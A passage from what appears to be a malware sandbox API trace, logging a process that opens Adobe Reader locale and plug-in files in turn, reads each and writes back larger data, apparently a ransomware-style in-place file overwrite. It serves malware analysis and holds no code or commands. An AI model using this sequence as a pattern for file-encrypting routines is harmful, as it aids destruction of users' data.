lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0046.962] CloseHandle (hObject=0x168) returned 1 [0046.963] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\updater.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\updater.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.963] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.963] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1e00 [0046.963] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.963] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.963] ReleaseMutex (hMutex=0x128) returned 1 [0046.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0046.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CHS", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CHS", lpUsedDefaultChar=0x0) returned 11 [0046.963] ReadFile (in: hFile=0x168, lpBuffer=0x3a4a588, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesRead=0x304f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0046.997] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0046.997] WriteFile (in: hFile=0x168, lpBuffer=0x2806cf8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2806cf8*, lpNumberOfBytesWritten=0x304f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0046.998] CloseHandle (hObject=0x168) returned 1 [0046.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\eBook.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\ebook.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0046.998] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.998] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1600 [0046.998] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0046.998] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0046.998] ReleaseMutex (hMutex=0x128) returned 1 [0046.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0046.998] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHT", cchWideChar=9, lpMultiByteStr=0x1e631cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHT", lpUsedDefaultChar=0x0) returned 9 [0046.998] ReadFile (in: hFile=0x168, lpBuffer=0x3a4a588, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesRead=0x304f2bc*=0x1600, lpOverlapped=0x0) returned 1 [0047.087] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.087] WriteFile (in: hFile=0x168, lpBuffer=0x3a4a588*, nNumberOfBytesToWrite=0x1b88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x3a4a588*, lpNumberOfBytesWritten=0x304f2d0*=0x1b88, lpOverlapped=0x0) returned 1 [0047.087] CloseHandle (hObject=0x168) returned 1 [0047.087] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\SaveAsRTF.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\saveasrtf.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3200 [0047.088] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.088] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.088] ReleaseMutex (hMutex=0x128) returned 1 [0047.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHT", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHT", lpUsedDefaultChar=0x0) returned 13 [0047.088] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.232] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2200 [0047.232] ReadFile (in: hFile=0x168, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.243] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2200 [0047.243] WriteFile (in: hFile=0x168, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.244] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0047.244] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.244] CloseHandle (hObject=0x168) returned 1 [0047.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\adobepdf.xdc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xb36f [0047.245] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.246] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.246] ReleaseMutex (hMutex=0x128) returned 1 [0047.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.246] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="adobepdf.xdc", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobepdf.xdc", lpUsedDefaultChar=0x0) returned 12 [0047.246] ReadFile (in: hFile=0x168, lpBuffer=0x3a45528, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x3a45528*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.253] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa36f [0047.253] ReadFile (in: hFile=0x168, lpBuffer=0x1dac408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.431] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xa36f [0047.431] WriteFile (in: hFile=0x168, lpBuffer=0x261b6a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.431] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0047.431] WriteFile (in: hFile=0x168, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.432] CloseHandle (hObject=0x168) returned 1 [0047.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\eBook.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\ebook.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.432] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.432] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xd063 [0047.432] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.432] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.432] ReleaseMutex (hMutex=0x128) returned 1 [0047.432] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.433] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.api", cchWideChar=9, lpMultiByteStr=0x1e630ac, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.api", lpUsedDefaultChar=0x0) returned 9 [0047.433] ReadFile (in: hFile=0x168, lpBuffer=0x1da83d8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0047.440] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xc063 [0047.440] ReadFile (in: hFile=0x168, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.456] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xc063 [0047.456] WriteFile (in: hFile=0x168, lpBuffer=0x1deee48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deee48*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.456] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0047.456] WriteFile (in: hFile=0x168, lpBuffer=0x1da83d8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da83d8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.456] CloseHandle (hObject=0x168) returned 1 [0047.456] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.457] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.457] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.457] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.457] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.457] ReleaseMutex (hMutex=0x128) returned 1 [0047.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.EUQ", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.EUQ", lpUsedDefaultChar=0x0) returned 9 [0047.457] ReadFile (in: hFile=0x168, lpBuffer=0x27e6cb8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.523] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.523] WriteFile (in: hFile=0x168, lpBuffer=0x276d3b8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d3b8*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.523] CloseHandle (hObject=0x168) returned 1 [0047.524] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.524] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.524] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.524] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.524] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.524] ReleaseMutex (hMutex=0x128) returned 1 [0047.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.524] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SVE", lpUsedDefaultChar=0x0) returned 9 [0047.524] ReadFile (in: hFile=0x168, lpBuffer=0x27e6cb8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.542] WriteFile (in: hFile=0x168, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.542] CloseHandle (hObject=0x168) returned 1 [0047.542] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x1c00 [0047.542] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.542] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.542] ReleaseMutex (hMutex=0x128) returned 1 [0047.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.543] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.JPN", lpUsedDefaultChar=0x0) returned 10 [0047.543] ReadFile (in: hFile=0x168, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x304f2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0047.560] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.560] WriteFile (in: hFile=0x168, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x304f2d0*=0x2188, lpOverlapped=0x0) returned 1 [0047.561] CloseHandle (hObject=0x168) returned 1 [0047.561] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.561] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.561] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.561] ReleaseMutex (hMutex=0x128) returned 1 [0047.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0047.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CHT", cchWideChar=13, lpMultiByteStr=0x1e6338c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CHT", lpUsedDefaultChar=0x0) returned 13 [0047.561] ReadFile (in: hFile=0x168, lpBuffer=0x27e6cb8, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27e6cb8*, lpNumberOfBytesRead=0x304f2bc*=0xa00, lpOverlapped=0x0) returned 1 [0047.647] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0047.647] WriteFile (in: hFile=0x168, lpBuffer=0x261d6d8*, nNumberOfBytesToWrite=0xf88, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261d6d8*, lpNumberOfBytesWritten=0x304f2d0*=0xf88, lpOverlapped=0x0) returned 1 [0047.647] CloseHandle (hObject=0x168) returned 1 [0047.647] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\QuickTime.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\quicktime.nld"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0047.647] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.648] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa00 [0047.648] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0047.648] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.648] ReleaseMutex (hMutex=0x128) returned 1 [0047.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.NLD", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 